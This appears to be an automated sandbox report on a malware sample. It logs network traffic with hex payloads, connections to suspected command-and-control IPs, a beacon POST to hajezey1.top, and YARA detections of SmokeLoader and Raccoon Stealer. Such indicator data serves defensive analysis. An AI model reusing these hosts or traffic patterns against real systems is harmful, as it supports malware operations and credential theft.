31 39 33 2e 35 36 2e 31 34 36 2e 32 31 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at 193.56.146.214 Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 29 Oct 2021 18:30:03 GMTServer: Apache/2.4.29 (Ubuntu)Keep-Alive: timeout=5, max=97Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8Data Raw: 34 30 30 36 61 0d 0a 00 00 6e 47 17 86 3c 28 c2 36 40 7b b6 16 56 36 0c 45 49 50 b5 c5 ea fa 80 5d 3d 4d 94 01 9f 38 c5 e4 b8 b3 1b e4 69 14 ba 72 71 2e a2 b2 43 37 3a 71 f6 aa 4d af 80 0d c2 d6 60 e5 83 44 7d 49 98 ab 99 7a d3 1e 48 2e 96 0c 59 41 c8 0f 06 51 ea 33 08 e5 01 db b9 93 51 3b a1 fd f4 43 7f 32 3d 09 67 19 00 03 ae df 8e 36 20 d7 fa a7 5c ea c3 c5 0c 90 75 ff 67 5a b4 7c e9 9f 09 79 61 ab 85 ce 60 d5 d3 ef 53 47 4d c5 9c a2 ae 7a b7 be 4f 41 dd 46 29 0a f9 36 87 18 bc 67 b1 2e 7c af 3a 05 14 a5 5d ef 3b f3 56 72 bc 3d 1a 04 b2 50 2a 87 d6 17 8f 3a fa 04 b1 07 a0 e2 19 17 80 2f ba 8e 42 0d 0a 7e 82 cf 27 11 d8 9d 1d b3 9c 88 8a 38 22 7a 6d 2e e6 2a 7e d7 3f dc 9e 2e cb 81 a8 4b 55 09 d4 c1 1e 2b 50 6b bd 8e c3 58 87 c6 41 c9 b0 26 1c 94 c0 99 7d 5a 99 2b 99 5b af 18 9f 7a 95 5f 97 a6 75 3e 1a 20 8c a3 b0 ca 79 f7 ad f5 31 61 a4 cf 37 1f 1a eb 3f ae c6 74 31 8c 8f f5 03 96 0b cd 96 df a5 61 6c fd 71 12 70 df ce 22 db 30 d5 a9 b6 2a 08 8f 01 e9 46 76 22 e1 ff b8 5c 3f 1f 83 d0 30 38 ba 60 bd 49 22 09 69 53 40 98 e3 94 54 e0 2f 60 43 8c 67 f0 86 f0 fb 34 6c 1b 45 6e d5 f6 4e 76 8c 9e cd 37 14 39 7e a2 55 6b 5f c7 ae 4a 88 54 d9 60 49 d3 03 e7 fe 88 2c 3b 4c f9 10 e5 ec 9a db 25 2f 45 75 04 c5 e3 a1 b7 d9 17 81 5d 26 db 3a 35 9d f7 d5 49 4f 44 e8 d0 32 79 2e 0a ba e8 33 ec fd 05 89 52 de 0e 63 bb d6 d4 46 d1 f2 38 df d5 bf 2b 02 87 d2 db 53 3d a0 c3 96 cb 7d 64 57 b4 85 5b ae 39 16 1b e2 99 15 f7 bb 2e 44 31 e2 08 5a 11 dc 40 b4 06 91 b1 41 6b 05 23 9f f5 4a b0 6e 78 0d 2a f7 d8 d2 12 74 3c 8b 08 f5 a5 36 3d 07 4e c4 b2 d6 ea ec 5b ab 10 a3 0b ab c1 39 e2 a7 66 94 c6 a6 d3 30 68 1e 11 b2 18 4c c1 58 40 f6 e7 2a 33 72 08 ac 78 ae 53 ff 0f 71 5f 75 56 4f 82 56 c3 e9 37 7f a3 29 ff f1 ee 21 bd b4 4f 07 bb 75 4b 99 01 ac 67 90 ff 21 62 11 14 74 22 d5 a5 d5 93 03 e8 a9 1c 5e 68 fc b5 2c f4 47 1c 3f 4d 93 1e 60 70 06 72 52 89 52 93 3e 09 6e c1 ca 39 52 3e cc 35 5f d8 89 98 4c 97 49 94 56 ef 01 37 e2 41 44 f0 8b 65 48 8a 76 e1 41 84 8e 71 b4 0d 16 5e ea 87 04 82 cd 7d 42 fd bd 38 ad 2a 2c 3f 86 9c aa ca b7 04 d6 62 da f5 e1 c8 09 f8 66 f4 23 a4 3b ca b5 a0 83 56 84 86 76 4e 38 13 f9 77 46 05 19 a7 ae 19 17 b0 68 d3 a1 24 4f 38 6a 19 e7 66 f5 1d 33 c7 2a 09 c5 ed fc c4 23 ef 28 ef 3e 1c 2b 48 06 30 c8 0b 4c 27 c7 7d e6 c2 6a fd 20 23 71 de a1 9f 39 b0 fc f8 06 04 cd 0b dd 30 d5 71 cf d6 a3 96 5c 41 be c0 52 50 0f fb 75 d2 7a b6 d7 5b d4 77 ed f6 4b a5 53 52 d2 c7 d4 d1 79 5e 67 ad 6d 15 b0 c0 db 31 a0 29 77 39 ac b2 03 07 1e 17 76 38 bc db 58 67 4b 5b 67 e2 3f d3 78 d9 f8 1f ba a2 50 11 3b ec 5f e0 3c 47 4b d4 50 b0 20 e1 1e 34 ee d3 2e ac 9c d8 f7 0d c0 23 af 38 15 06 1f 84 48 7f 4f 6d 5b df 92 a0 cf 0b 80 51 a9 cd 6d e1 7c 1c 9d 89 05 4d 99 2e 94 58 13 86 89 b0 6e 2c dc c3 75 44 f4 8b 85 52 aa a2 e4 2f a9 e7 5b 9a 1e bd 79
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 29 Oct 2021 18:30:03 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 402Keep-Alive: timeout=5, max=96Connection: Keep-AliveContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 39 33 2e 35 36 2e 31 34 36 2e 32 31 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at 193.56.146.214 Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 29 Oct 2021 18:30:03 GMTServer: Apache/2.4.29 (Ubuntu)Keep-Alive: timeout=5, max=95Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8Data Raw: 37 63 63 30 32 0d 0a 00 00 6e 47 17 86 3c 28 c2 36 40 7b b6 16 56 36 0c 45 49 50 b5 c5 ea fa 80 5d 3d 4d 94 01 9f 38 c5 e4 b8 b3 1b e4 69 14 ba 72 71 2e a2 b2 43 37 3a 71 f6 aa 4d af 80 0d c2 d6 60 e5 83 44 7d 49 98 ab 99 7a d3 1e 48 2e 96 0c 59 41 c8 0f 06 51 ea 33 08 e5 01 db b9 93 51 3b a1 fd f4 43 7f 32 3d 09 67 19 00 03 ae df 8e 36 20 d7 fa a7 5c ea c3 c5 0c 90 75 ff 67 5a b4 7c e9 9f 09 79 61 ab 85 ce 60 d5 d3 ef 53 47 4d c5 7c a2 52 90 b7 be 4f 41 dd 46 29 0a f9 36 87 18 bc 67 b1 2e 7c f9 3e 05 14 73 5e ef 3b f3 56 72 70 6e 1e 04 b2 50 2a 87 d6 37 83 3a fa 04 b1 07 a0 e2 19 17 80 2f ba 8e 42 0d 0a 7e 82 cf 27 11 da 9d 1d b3 9c 88 8a 38 22 7a 61 2e e6 2a 7e d7 46 ad 96 2e cb 81 88 4b 55 09 d4 c1 1e 2b 50 6b bd 8e c3 58 87 c6 41 c9 b0 26 1c 94 c0 99 7d 5a 99 2b 99 5b af 18 9f 7a bd 0c 93 a6 69 3e 1a 20 8c 63 bb ca c9 ba ad f5 31 61 a4 cf 37 1f 1a eb 3f 82 c2 74 e1 81 8f f5 03 96 07 cd 96 df a5 61 6c fd 71 12 70 df ce 22 db 30 d5 a9 b6 2a 08 8f 01 e9 46 76 22 e1 ff b8 5c 3f 1f 83 d0 30 38 ba 60 bd 49 22 09 69 53 40 98 e3 94 54 e0 2f 60 43 8c 67 f0 86 f0 fb 34 6c 1b 45 6e d5 f6 4e 76 8c 9e cd 37 14 39 7e a2 55 6b 5f c7 ae 4a 88 54 d9 60 49 d3 03 e7 fe 88 2c c7 1f fd 10 e5 ec 9a db 25 79 41 75 04 c5 e3 a1 b7 d9 17 81 5d 26 db 3a 35 9d f7 d5 49 4f 44 e8 d0 32 79 2e 0a ba e8 33 5c b0 05 89 52 1e 05 63 bb 9a d4 46 d1 a0 3c df d5 bf 2b 02 87 d2 db 53 3d a0 c3 96 cb 7d 64 57 b4 85 5b ae 39 16 1b e2 99 15 f7 bb 2e 44 3d e2 08 5a 11 dc 40 9e 02 91 b1 41 6b 05 23 9f f5 4a b0 6e 78 0d 2a f7 d8 d2 12 74 3c 8b 08 f5 a5 36 3d 07 4e c4 b2 d6 ea ec 0f f8 14 a3 0b ab c1 39 e2 a7 66 94 c6 a6 d3 30 18 65 17 b2 f4 a7 c1 58 40 f6 e7 2a 9d 72 08 ac 54 7b 52 ff eb 48 5a 75 56 4f 82 56 c3 e9 37 7f a3 29 ff f1 ee 21 bd b4 4f 07 bb 75 4b 99 01 ac 67 90 ff 21 62 11 14 74 22 d5 a5 d5 93 03 e8 a9 51 04 f8 fc b7 2c f4 47 1b 3f 4d 93 e6 9f 70 06 c5 52 89 52 8c 3e 09 6e be ca 39 52 41 cc 35 5f 27 89 98 4c 68 48 94 56 10 02 37 e2 be 43 f0 8b 9a 47 8a 76 1e 5e 84 8e 8e 8b 0d 16 21 95 87 04 73 2d c7 4c 02 f6 30 60 f4 6b 3d 82 ae 74 99 df 92 5a 4d aa 78 71 b0 7b 66 f4 eb 40 3a aa db da 2b 5c cb e1 59 fb c4 57 cc 6f e6 65 be a9 0b 89 8b 87 2b 02 02 53 d6 5a e3 95 e6 d8 99 0a e2 4c 97 6f 09 c5 e9 fd c7 23 56 3e ec ab 1c 2b 48 06 30 c8 0b 4c c7 c7 5f c6 c9 6b ad 20 23 6b de a1 9f 3f b0 fc f8 06 04 cd 51 e5 30 d5 71 ef d6 a3 96 1c 41 be c0 52 50 1f fb 55 d2 7a b6 d5 5b d4 72 ed f6 4b a5 53 52 d2 c1 d4 d1 79 5e 67 ad 6d 11 30 c0 db 31 a2 29 77 31 ac b2 03 04 1e 57 f3 28 bc cb 58 67 5b 5b 67 c2 3f c3 78 d9 e8 1f ba e2 50 11 3b fc 5f e0 3c c7 4b d4 50 b0 20 e1 1e 3c d7 d3 2e e3 9c d8 f7 0d 82 23 af 40 16 06 1f 84 4c 7f 4f 6d 5b df 92 a0 c7 0b 80 51 a9 cd 6d e1 0c 1c 9d 89 05 4d 99 20 83 58 13 87 89 b0 6e 2c 9c c3 75 44 f4 8b 85 52 2a a2 e4 2f a9 e7 5b 9a 1e bc 79
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:30:04 GMTContent-Type: text/html; charset=utf-8Content-Length: 327Connection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:30:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 31 66 34 32 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 f5 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 6e 17 9d f8 77 88 8b 91 db d8 70 5d 07 4b ac 9e ed fd 31 bf c2 75 41 97 7e 49 8e 1c 1e bb aa 5e 4f 92 40 28 0d 93 ce 29 75 1c b4 51 a8 b9 c8 93 f9 ae 21 12 97 ea a4 45 b4 7d 5c b0 26 32 42 2e 8f a6 50 cb 3d 7a d4 38 fa 6b 50 36 0d d9 80 bd bf 6c 13 d9 e6 ae c1 27 33 4f 62 3e 15 21 0b 5a a3 06 93 3a 56 3f cb 00 73 fb 42 15 9b 06 56 53 af 17 bf c1 1d 09 52 2b e5 8d 83 7b 9e 45 f5 fe 73 8c 5f db c4 87 19 13 bf de 91 90 24 08 4f c5 63 28 c3 a1 61 6e de f5 69 19 13 17 7e 5f ef 9a a5 54 c9 a0 c1 bb dd 7a 08 90 4f 19 e0 2c 95 a9 1d 1a f4 96 be 25 51 61 9a 44 45 7e 88 2c c8 48 78 83 cc 4a 98 03 fd 6d 9e aa 6b ac 87 3f bd 61 0d c0 4d bf 46 24 fd f8 12 6c 33 6c 39 7c 0a 8d c7 fd e4 0e a4 eb 7e 71 cf 0e ff 1a 0c 9b 4a d8 19 8e b6 4d 3b 45 82 ae 9c 97 02 4c 75 56 ad f3 57 3b 2a b9 72 ee cc 23 b2 15 74 33 f5 89 90 f7 ef e7 ec e7 6e 2b 4c 80 d0 12 f9 13 63 11 bb d6 af 31 3c 27 d4 69 b7 9f 33 c9 cc 46 d9 48 15 ac 4f 96 d1 55 7d af ba 68 92 0e ff 9d 7f 7f 55 40 57 74 7b 39 ba e6 ac 04 28 84 42 40 77 9b c7 9b 84 e7 3d 66 f1 8a 64 b1 1d 30 12 51 8c 70 17 4b af 1f ba f6 f6 01 e8 e4 47 d7 ab 90 4e b1 54 55 a5 04 bd 1b 6f c7 cb 29 32 28 e7 5b 1e 54 ab 1e 26 7d 11 ee e3 ce 57 c3 62 79 e4 6b b5 5c 68 91 54 40 69 f3 2c fe a4 03 5b f3 1f e4 a6 f3 1a 9f 10 b9 d9 b0 99 07 99 8a cd e4 7f 74 39 50 6d 83 e2 cf e2 e5 84 0e 15 b0 79 8a c3 e0 2b b9 ce b9 01 7e 17 28 d2 0a 4c 1f d0 a1 aa 7a 8f f6 6b e3 cd d0 d9 37 40 80 e3 dc e7 52 86 20 2b c4 3a 96 4d f7 e7 17 3f fc 9f 7c 4d 9a 70 d4 03 43 a6 98 76 6e 0f ca 82 cf 25 2e 9f 96 ce ec 75 98 c3 e7 23 da af b8 30 4a 43 43 6c 76 02 62 18 5a 67 fa 40 8e af 88 c1 20 ab 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 cb 23 1e ee 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 29 Oct 2021 18:30:05 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 402Keep-Alive: timeout=5, max=94Connection: Keep-AliveContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 39 33 2e 35 36 2e 31 34 36 2e 32 31 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at 193.56.146.214 Port 80</address></body></html>
Source: unknown TCP traffic detected without corresponding DNS query: 216.128.137.31
Source: unknown TCP traffic detected without corresponding DNS query: 216.128.137.31
Source: unknown TCP traffic detected without corresponding DNS query: 216.128.137.31
Source: unknown TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown TCP traffic detected without corresponding DNS query: 93.115.20.139
Source: unknown TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown TCP traffic detected without corresponding DNS query: 91.219.236.97
Source: unknown TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown TCP traffic detected without corresponding DNS query: 193.56.146.214
Source: unknown HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://mnhikj.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 250Host: hajezey1.top
Source: unknown HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.3:49785 version: TLS 1.2
Source: unknown HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.3:49806 version: TLS 1.2
Source: unknown HTTPS traffic detected: 162.159.130.233:443 -> 192.168.2.3:49881 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

barindex
Yara detected SmokeLoader
Source: Yara match File source: 3.2.CFE9H9mdWr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.2.bsstvub.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 29.2.2E6C.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.1.bsstvub.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 20.1.12C6.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 29.2.2E6C.exe.2fb0e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 20.2.12C6.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.bsstvub.9615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 29.3.2E6C.exe.2fc0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.1.CFE9H9mdWr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.CFE9H9mdWr.exe.9615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.12C6.exe.2cb15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000001D.00000003.443536415.0000000002FC0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000002.465800320.0000000002FC0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.401208082.00000000005B1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000002.466019596.0000000003001000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.401135304.0000000000570000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.343715666.00000000005A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000000.331439665.0000000004E91000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.414180179.0000000000460000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.484679708.0000000002CE1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.484587747.0000000002CC0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.343625183.0000000000460000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.414253923.00000000004F1000.00000004.00020000.sdmp, type: MEMORY
Creates a DirectInput object (often for capturing keystrokes)
Source: 5AFD.exe, 00000021.00000002.484865861.0000000002E3A000.00000004.00000020.sdmp Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

barindex
Yara detected Raccoon Stealer
Source: Yara match File source: 36.3.69D3.exe.48a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 36.3.69D3.exe.48a0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000024.00000003.473154873.00000000048A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 69D3.exe PID: 6156, type: MEMORYSTR

System Summary:

barindex
.NET source code contains very large array initializations
Source: 39F6.exe.12.dr, ??????????????/_?????xptkvqfesn.cs Large array initialization: _?????nacpgkwmie: array initializer size 208904
Detected potential crypto function
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe Code function: 0_2_00432FA0 0_2_00432FA0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC4496 29_2_6CEC4496
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE335D0 29_2_6CE335D0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED1D55 29_2_6CED1D55
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE00D20 29_2_6CE00D20
